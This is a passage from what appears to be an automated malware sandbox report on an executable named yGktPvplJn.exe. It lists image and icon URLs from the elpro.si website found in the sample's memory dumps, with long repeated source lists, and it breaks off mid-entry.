Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2020/02/ebi-12-14-100x100.png
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2020/02/ebi-12-14-150x150.png
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2020/02/ebi-12-14-300x300.png
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2020/03/ELPRO-www-00-HOME-Header-01.jpg
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2020/03/ELPRO-www-00-HOME-Header-01.jpg)
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2020/03/ICO-75-Eksplozivna-okolja.svg
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2020/03/ICO-75-Monitoring.svg
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2020/03/ICO-75-Prenosne-naprave.svg
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2020/03/preloader.gif)
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2024/02/1C2E_P-100x100.png
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2024/02/1C2E_P-150x150.png
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2024/02/1C2E_P-300x300.png
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 